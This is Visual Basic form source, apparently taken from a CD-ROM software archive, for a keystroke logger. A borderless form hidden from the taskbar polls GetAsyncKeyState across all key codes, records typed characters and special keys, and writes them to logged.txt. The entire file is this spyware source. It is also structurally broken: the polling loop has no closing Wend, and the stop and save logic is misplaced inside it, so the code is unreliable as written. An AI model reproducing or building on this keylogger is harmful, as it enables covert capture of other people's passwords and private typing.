home *** CD-ROM | disk | FTP | other *** search
- VERSION 5.00
- Begin VB.Form Form1
- Appearance = 0 'Flat
- BackColor = &H80000005&
- BorderStyle = 0 'None
- Caption = "Start"
- ClientHeight = 3195
- ClientLeft = 0
- ClientTop = 0
- ClientWidth = 4680
- ClipControls = 0 'False
- ControlBox = 0 'False
- LinkTopic = "Form1"
- MaxButton = 0 'False
- MinButton = 0 'False
- ScaleHeight = 3195
- ScaleWidth = 4680
- ShowInTaskbar = 0 'False
- StartUpPosition = 2 'CenterScreen
- Begin VB.CommandButton Command1
- Caption = "Start"
- Height = 855
- Left = 960
- TabIndex = 0
- Top = 960
- Width = 2655
- End
- Attribute VB_Name = "Form1"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = False
- Dim Logged As String
- Dim Logging As Boolean
- Const VK_NUMPAD0 = &H60
- Const VK_NUMPAD1 = &H61
- Const VK_NUMPAD2 = &H62
- Const VK_NUMPAD3 = &H63
- Const VK_NUMPAD4 = &H64
- Const VK_NUMPAD5 = &H65
- Const VK_NUMPAD6 = &H66
- Const VK_NUMPAD7 = &H67
- Const VK_NUMPAD8 = &H68
- Const VK_NUMPAD9 = &H69
- Const VK_MULTIPLY = &H6A
- Const VK_ADD = &H6B
- Const VK_SEPARATOR = &H6C
- Const VK_SUBTRACT = &H6D
- Const VK_DECIMAL = &H6E
- Const VK_DIVIDE = &H6F
- Const VK_F1 = &H70
- Const VK_F2 = &H71
- Const VK_F3 = &H72
- Const VK_F4 = &H73
- Const VK_F5 = &H74
- Const VK_F6 = &H75
- Const VK_F7 = &H76
- Const VK_F8 = &H77
- Const VK_F9 = &H78
- Const VK_F10 = &H79
- Const VK_F11 = &H7A
- Const VK_F12 = &H7B
- Const VK_F13 = &H7C
- Const VK_F14 = &H7D
- Const VK_F15 = &H7E
- Const VK_F16 = &H7F
- Const VK_F17 = &H80
- Const VK_F18 = &H81
- Const VK_F19 = &H82
- Const VK_F20 = &H83
- Const VK_F21 = &H84
- Const VK_F22 = &H85
- Const VK_F23 = &H86
- Const VK_F24 = &H87
- Const VK_NUMLOCK = &H90
- Const VK_SCROLL = &H91
- Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
- Private Sub Command1_Click()
- If Command1.Caption = "Start" Then
- Command1.Caption = "Stop"
- Logging = True
- While Logging = True
- I = I + 1
- GetKeyStateZ = GetAsyncKeyState(I)
- If GetKeyStateZ = -32768 Then
- If I = 8 Then
- Logged$ = Logged$ & "<backspace>"
- ElseIf I = 9 Then
- Logged$ = Logged$ & "<tab>"
- ElseIf I = 13 Then
- Logged$ = Logged$ & "<enter>"
- ElseIf I = VK_NUMLOCK Then
- Logged$ = Logged$ & "<numlock>"
- ElseIf I = VK_NUMPAD1 Then
- Logged$ = Logged$ & "<num 1 >"
- ElseIf I = VK_NUMPAD2 Then
- Logged$ = Logged$ & "<num 2 >"
- ElseIf I = VK_NUMPAD3 Then
- Logged$ = Logged$ & "<num 3 >"
- ElseIf I = VK_NUMPAD4 Then
- Logged$ = Logged$ & "<num 4 >"
- ElseIf I = VK_NUMPAD5 Then
- Logged$ = Logged$ & "<num 5 >"
- ElseIf I = VK_NUMPAD6 Then
- Logged$ = Logged$ & "<num 6 >"
- ElseIf I = VK_NUMPAD7 Then
- Logged$ = Logged$ & "<num 7 >"
- ElseIf I = VK_NUMPAD8 Then
- Logged$ = Logged$ & "<num 8 >"
- ElseIf I = VK_NUMPAD9 Then
- Logged$ = Logged$ & "<num 9 >"
- ElseIf I = VK_NUMPAD0 Then
- Logged$ = Logged$ & "<num 0 >"
- ElseIf I >= 32 And I <= 126 Then
- Logged$ = Logged$ & Chr$(I)
- ElseIf I >= 160 And I <= 255 Then
- Logged$ = Logged$ & Chr$(I)
- End If
- End If
- If I = 256 Then I = 0
- DoEvents
- Open CurDir & "/logged.txt" For Output As #1
- Write #1, Logged$
- Close #1
- Command1.Caption = "Start"
- Logging = False
- End If
- End Sub
- Private Sub Form_Load()
- Command1.Move 100, 100
- Me.Width = Command1.Width + 200
- Me.Height = Command1.Height + 200
- End Sub
-